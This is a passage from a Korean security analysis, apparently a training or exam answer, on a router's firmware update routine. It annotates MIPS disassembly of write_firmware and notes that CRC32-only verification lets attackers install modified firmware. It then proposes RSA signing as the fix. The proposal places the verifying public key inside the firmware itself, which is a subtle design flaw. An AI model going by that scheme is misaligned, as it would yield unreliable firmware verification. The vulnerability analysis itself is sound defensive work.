# vlan1 인터페이스의 MAC 주소 백업 # write_firmware 함수에 mtd0, /tmp/firmware 등의 인자를 전달하여 /tmp/firmware 의 첫 0x20000 바이트를 /dev/mtd0 에 씀 # 부트로더 업데이트 성공시 Clear Diag 출력 후 clear_diag_flag 함수 호출, 그리고 MAC 주소 복구 후 펌웨어 업그레이드 과정으로 복귀 # clear_diag_flag 함수는 nvram_set_embedded 함수를 통해 nvram 영역에 있는 diag 설정값을 0 으로 바꿈 # 부트로더 업데이트 실패 시 펌웨어 업그레이드 과정으로 복귀 [텍스트 3-17] 지정된 펌웨어 버전이 0.00일 때 실행되는 update_boot 함수 루틴 write_firmware 함수는 아래와 같다..text:00408874 move $s2, $a1.text:00408878 move $s0, $a0....text:004088cc lw $gp, 0x70+var_60($sp).text:004088D0.text:004088D4 la $a1, 0x430000.text:004088D8.text:004088DC addiu $a1, (ar - 0x430000) # "r.text:004088e0 move $a0, $s0.text:004088e4 la $t9, fopen.text:004088e8.text:004088ec jalr $t9 ; fopen( /tmp/firmware, r ).text:004088f0.text:004088f4.text:004088f8 lw $gp, 0x70+var_60($sp) - 32 -

.text:004088fc move $s3, $v0 ; fopen 반환 값 저장....text:00408910 open_mtd_408910: # 지정한 이름의 mtd 기기를 여는 부분.text:00408910.text:00408914 move $a0, $s5.text:00408918 li $a1, 2.text:0040891C la $t9, mtd_open.text:00408920.text:00408924 jalr $t9 ; mtd_open.text:00408928.text:0040892c.text:00408930 lw $gp, 0x70+var_60($sp).text:00408934 bltz $v0, loc_40898c.text:00408938 move $s1, $v0.text:0040893c.text:0040893c unlock_mtd_40903c: # 해당 mtd 기기를 length만큼 잠금을 해제시킴.text:0040893C.text:00408940 lui $a1, 0x4020.text:00408944 move $a0, $v0.text:00408948 li $a1, 0x40204D01.text:0040894C addiu $a2, $sp, 0x70+var_58.text:00408950 la $t9, ioctl.text:00408954.text:00408958 jalr $t9 ; ioctl.text:0040895c.text:00408960....text:00408a94 fseek_408a94: # 인자로 전달된 파일 오프셋으로 이동.text:00408A94.text:00408A98 move $a1, $s2.text:00408a9c move $a0, $s3.text:00408aa0 move $a2, $zero.text:00408aa4 la $t9, fseek.text:00408aa8.text:00408aac jalr $t9 ; fseek.text:00408ab0.text:00408ab4... - 33 -

# /tmp/firmware에서 mtd 쓰기 단위만큼 반복적으로 파일을 읽어온 후 mtd가 열린 파일 fd에 write를 시도함 - 34 -

# erase 시도 실패 시 Fail\n 을 출력 # write 시 /tmp/firmware 에서 safe_fread 를 호출해서 읽어온 파일 크기와 mtd 가 열린 fd 에 write 로 쓴 버퍼의 크기가 같은지 비교 후 틀릴 경우 write 가 제대로 안 된 것으로 판별하여 Fail -> (write 반환값)\n 을 출력함 # write 시도 성공 시 Completed\n 을 출력 [텍스트 3-18] write_firmware 함수 루틴 전체적으로 이런 과정으로 펌웨어가 업데이트되며(필요시 [텍스트 3-4] 참고) 업데이트할 펌웨어의 검 증과정에서 crc32 방식으로만 정상여부를 체크한다는 것이 취약점이라고 볼 수 있다. 4. 취약한 펌웨어 검증 논리에 대해 대책을 상세히 논하시오. 펌웨어 검증 논리가 취약한 이유는 검증과정에서 단순히 crc로만 펌웨어를 검증하고 있기 때문이다. 이 crc체크섬 값을 공격자가 조작할 수 있고, 또한 펌웨어에 대한 crc체크섬을 구할 수 있기 때문에 공격 자는 자신이 원하는 펌웨어로 수정할수가 있다. 따라서 공격자가 원하는 대로 펌웨어를 수정하지 못하 - 35 -

도록 펌웨어의 검증과정을 바꾸어야 한다. 이 때, 사용할 수 있는 방법으로는 RSA 코드사이닝(code signing)과 비슷한 방법이 있다. RSA 코드사이닝은 응용프로그램이 안전한지에 대한 전자서명을 RSA 암호 알고리즘을 이용하여 하는 것이다. 이것에 착안하여 펌웨어가 안전한지에 대한 체크섬 값을 RSA 암호 알고리즘을 통해 생성할 수 있다. 과정은 다음과 같다. 일단 펌웨어의 해쉬값을 구한다.(이 때, 해 쉬 알고리즘은 충분히 안전하여야 한다.) 만약 이 해쉬값만 체크섬으로 이용한다면 기존의 crc에서 보 여주었던 검증과정에서의 취약점을 그대로 갖게 된다. 그래서 여기에 RSA 암호를 적용한다. 각 펌웨어 마다 개인키를 서버에 저장한다. 그 후, 서버에 저장된 개인키로 해쉬값을 암호화하여 펌웨어에 체크섬 값으로 넣어준다. 그 후, 펌웨어에 안에 공개키를 저장한다. 그리고 펌웨어 검증과정에서 체크섬 값을 추출한 뒤, 펌웨어 내부에 저장된 공개키로 복호화를 한다. 복호화 된 값이 펌웨어의 해쉬값과 동일하 다면 올바른 펌웨어로 인식하고 업데이트를 진행한다. 복호화 된 값이 펌웨어의 해쉬값과 일치하지 않 는다면 올바르지 않은 펌웨어이므로 업데이트를 중단하도록 한다. - 36 -